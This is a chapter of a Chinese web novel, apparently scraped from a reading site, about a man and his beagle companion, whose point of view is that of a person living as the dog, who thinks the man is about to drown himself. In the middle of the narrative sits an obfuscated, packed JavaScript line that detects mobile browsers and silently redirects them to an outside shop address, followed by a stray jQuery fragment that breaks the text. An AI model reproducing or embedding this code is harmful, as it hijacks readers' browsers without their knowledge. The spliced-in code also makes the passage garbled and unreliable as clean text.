傅砚川堪堪站稳,脚底下发麻的劲还没彻底缓过去。
就听身后的小意一溜小跑凑到他身旁,仰着脸直勾勾盯着自己。
看目光是在关切自己。
他嘴角下意识抿出点笑意,正要习惯性宽慰小意两句。
刚才还睁着湿漉漉眼睛、乖乖瞧他的比格犬突然刹住步子不动。
傅砚川疑惑眨了下眼睛,心底纳闷。
还没琢磨明白小意又怎么了。
下一秒,比格犬宛若一枚迅猛的小炮弹,铆足了劲,直直朝着他的腿冲撞过来。
巨大的冲击力带着身子往后趔趄,傅砚川接连退了好几步,才勉强稳住重心。
果然是装的!
裴意然恶狠狠瞪着他。
傅砚川满头雾水,还没从这意外中反应过来,抬头就看见小意气鼓鼓转过身,头也不回地越跑越远。
因着被骗,裴意然连着两天都没再守着傅砚川。
但村子就这么点大,小狗们又喜欢在田野间逛,裴意然一抬头就能看见傅砚川在田间劳作的身影。
对方泡在水田里,手里推着笨重的铁犁,前头是他们前两天放过的牛。
傅砚川时不时会抬头张望,对上他的视线就抿唇笑笑,随即又低下头继续忙活。
裴意然撇着嘴,小声嘟囔。
笑得真丑!
“什么?”旺财好奇探脑袋过来,趁小意没留意自己,心机地挪近一步,傻笑着追问:“小意,你刚刚说什么啊?”
“没什么。”裴意然伸出爪子,嫌弃地把他的脑袋推回去,语气不耐烦,“抓你的蝌蚪去!”
小狗们挤在田埂上,身前是一块刚插完秧的水田。
田里蓄着浅浅的水,水底清澈见底,底端的泥被浸软,隐隐泛着青褐。
成群的蝌蚪在水里游窜,身子圆滚滚的,拖着细尖的尾巴,荡出一圈圈不明显的涟漪,很是吸引小狗们的注意力。
裴意然对这种活动不感兴趣,也不想来。
被一颗颗毛脑袋烦得不行,才勉强答应陪他们过来的。
小狗们笨得不行,顶着烈日晒了两个小时,也没成功捞出一只蝌蚪。
裴意然待得有脾气了,“我要回去了。”
“别走别走。”小狗们立刻团团围拢过来,七嘴八舌挽留:“我们去玩其他的。”
裴意然挤出队伍,扭头就走,“不玩。”
小狗们挡着他,不让他离开。
你一句我一句提议。
“我们去捡杨梅!”
“无聊。”
“我们去扑鹅!”
“滚。”
“今天有电影,我们去看电影吧!”
村里小卖部前的空地每周都有人扯幕布放露天电影。
尽管黑白电影投在弯弯褶褶的幕布看不太清,尽管没几个人认真看完全程。
但一到这天,家家户户还是会搬着板凳,结伴来赶这份热闹。
小狗们看不懂,但也喜欢跟着去,从不缺席。
电影要在晚饭后开场,陆续有农人回家,小狗们也要回家吃完晚饭再出发,只得提前分别。
临分开前不忘叮嘱:“小意,你保证你会过来。”
裴意然似乎听见傅砚川在叫自己,扬起脑袋张望,随口含糊地应:“嗯。”
傅砚川站在下两层的田埂上,脸朝着他们这边,真的在叫他。
耳边小狗们依依不饶:“你发誓。”
裴意然扭回头来,虎着脸吓他们:“我揍你信不信?”
小狗们嘻嘻哈哈四散跑开。
只剩下旺财在原地,等着和小意结伴回家。
两只小狗在田间奔跑的速度太快,转瞬就到了眼前。
傅砚川分别在两只小狗的脑袋上摸了下。
转眼就看见小意踹了旺财一脚。
董婶还在一旁。
傅砚川眼皮重重一跳,下意识挪动身形,挡住小意恶劣的举动。
旺财被踹了也不生气,凑过去舔了舔小意的脸。
董婶也在和傅砚川说露天电影的事。
旺财占得先机,“小意,你等会和我坐一起好不好?”
“不好。”
“求你了!”
“滚。”
一直到家,旺财都没磨得小意答应,垂头丧气回隔壁自己家。
傅砚川进门先洗手给小意的碗添粮,随后给自己简单煮了碗面。
裴意然吃东西慢,等他慢悠悠填饱肚子,外屋早已不见傅砚川的身影。
他顶开里屋的门,窄小的房间一览无余,同样没有傅砚川的身影。
晚饭后不出门是一人一狗不成文的规矩。
裴意然正奇怪找不到人,猛地记起今晚的露天电影,脸上缓缓浮现怒意。
好啊!傅砚川竟然敢不等他,自己去看电影了!
他怒气冲冲夺门而出,撞倒立在门口的扫帚,正要去收拾这个自私自利的人类,恰巧碰见隔壁吃完晚饭在看晚霞的旺财。
旺财敏锐感知到他心情不好,没有傻乎乎凑上去挨骂,小心翼翼询问:“小意,你要去哪?”
裴意然憋着一肚子气:“杀人。”
旺财倒吸一口凉气,不过想也知道这个“人”指谁,他告诉小意:“傅砚川没走这边。”
他给小意指了个方向,“他往下边那条路走了。”
旺财还想问小意要不要和自己一起出发去看电影,话还没问出口,小意已经调转方向消失在视线尽头。
溪石村坐落丘陵地带,依山傍江,村民住所错落建在高处,层层叠叠的农作田外沿就是包揽整个村子灌溉的溪江。
裴意然一眼就认出江边那道身影。
朝夕相伴几天,他竟然忘记傅砚川的病和来溪石村的原因。
江边没有灯,天一暗就没人靠近。恰巧今晚是放露天电影的日子,村民早早去占位置,一时也没有人发现江边的傅砚川。
入夜的冷空气透过皮肉往骨子里钻,裴意然全身的血液都是冷的,脑袋嗡嗡作响一片空白,几乎是凭着身体的本能在奔跑。
眼看距离不断拉近,傅砚川还安安稳稳站在岸边。
裴意然高悬的心才稍稍落地。
傅砚川刚要蹲下,突然听见身后熟悉的犬吠声,他闻声转头望去,就见小意欢快的身影出现在田间,急冲冲朝这边奔来。
他还未来得及训止。
噗通一声,比格犬直直坠进江里。
冰冷江水瞬间将裴意然淹没,猝不及防下他呛了两口水,费力挣扎才浮出水面。
夜里江水湍急,身子被江水带着不受控制往下游漂。慌乱间视线乱飘,才发现刚才还在岸边的傅砚川已经不见踪影。
完了,要死的人留不住。
这下不仅没拦住傅砚川,还白搭上自己。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810579|210818||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身体离岸边越来越远。
裴意然在水波里起起伏伏,原本奋力挣扎的四肢愈发酸软无力,挣扎的动作渐渐迟缓。
他满心委屈气愤。
他做鬼也不会放过傅砚川的!
傅砚川。
裴意然恨恨想着这个名字,呛水带来的窒息感阵阵袭来,昏昏沉沉看不清眼前的一切,连发出声音都格外艰难。
意识昏沉之际,一只坚实有力的手臂骤然伸出,稳稳将他从湍急江水中捞起。
脱离江水的瞬间,裴意然止不住剧烈咳嗽起来。
江水寒冷刺骨,与他相贴的胸膛滚烫,他本能汲取这唯一的热源,紧紧抱住对方的身体。
眼看靠近岸边,裴意然才后知后觉反应过来救自己的人是谁。
他完全懵了,满脸愕然。
原来傅砚川会游泳。
被傅砚川的手臂托着回到岸边,裴意然才猛然回神。
溺水的恐惧与愤怒尽数爆发,气得眼眶红红,怒骂傅砚川:“你会游泳为什么要假装跳江吓我!”
傅砚川头一次在比格犬面前沉脸,训责的话还未说出口,小意率先发出尖锐的叫声。
昏暗光线下,他还是看清小意湿漉漉泛红的眼睛,以及瑟瑟发抖的身体。
他面无表情盯着小意,小意也仰着头倔强地盯着他。
正僵持着,夜风悠悠穿梭在一人一狗的间。
空气里响起突兀的喷嚏声。
傅砚川无奈叹了口气,敛下严肃神情,伸手将浑身湿透的小意抱进一旁的盆里,端着盆迈步往家走。
连打了几个喷嚏,裴意然忽然发现身上盖了东西。
他低头一看,是傅砚川的衣服。
离得太近,裴意然闻到衣服上残留的汗味与泥土腥味。
傅砚川竟然还敢把脏衣服丢他身上!
盆里的比格犬消停几秒钟,又开始发出急促的嗷嗷叫声。
时不时夹杂着几声喷嚏。
在比格犬的一声声催促下,傅砚川加快回家的步伐。
一人一狗经历这一遭,今晚的露天电影算是泡汤。
比格犬泡在热水里,眼皮恹恹半合,两只耳朵没精打采耷拉在脸侧。
傅砚川责怪的话怎么都说不出口。
给小意洗完澡吹干毛发后,将他抱去床上。
按以往经验来看,小意是不会乖乖走完这一套流程的。
但今天被吓住了,一直到被傅砚川抱上床都一声没吭。
直到被傅砚川塞进毯子里,裴意然才有反应:“这么热的天!你是要热死我吗!”
听到小意高亢的声音,傅砚川担忧的神色才缓解了些。
看着小意从毛毯里钻出来,他摸了摸小意的脑袋,不忍心说重话,耐心和他讲道理,“小意,江里水深很危险,不能去江里玩水。”
裴意然英勇献身救人,反倒被扣上玩水溺水的罪名。
他震惊瞪着傅砚川,犬齿用力磨了磨,即将发作。
傅砚川温声劝说:“不能有下次了,知道吗?”
裴意然张嘴欲反驳,目光却不自觉落在傅砚川湿淋淋的头发上。
他已经舒服躺在床上了,傅砚川现在还是全身湿透的狼狈模样。
嘴努动半晌,确是一个音节也没漏出。
裴意然背过身,闷闷不乐地趴在床上。
他下次再也不会管傅砚川了!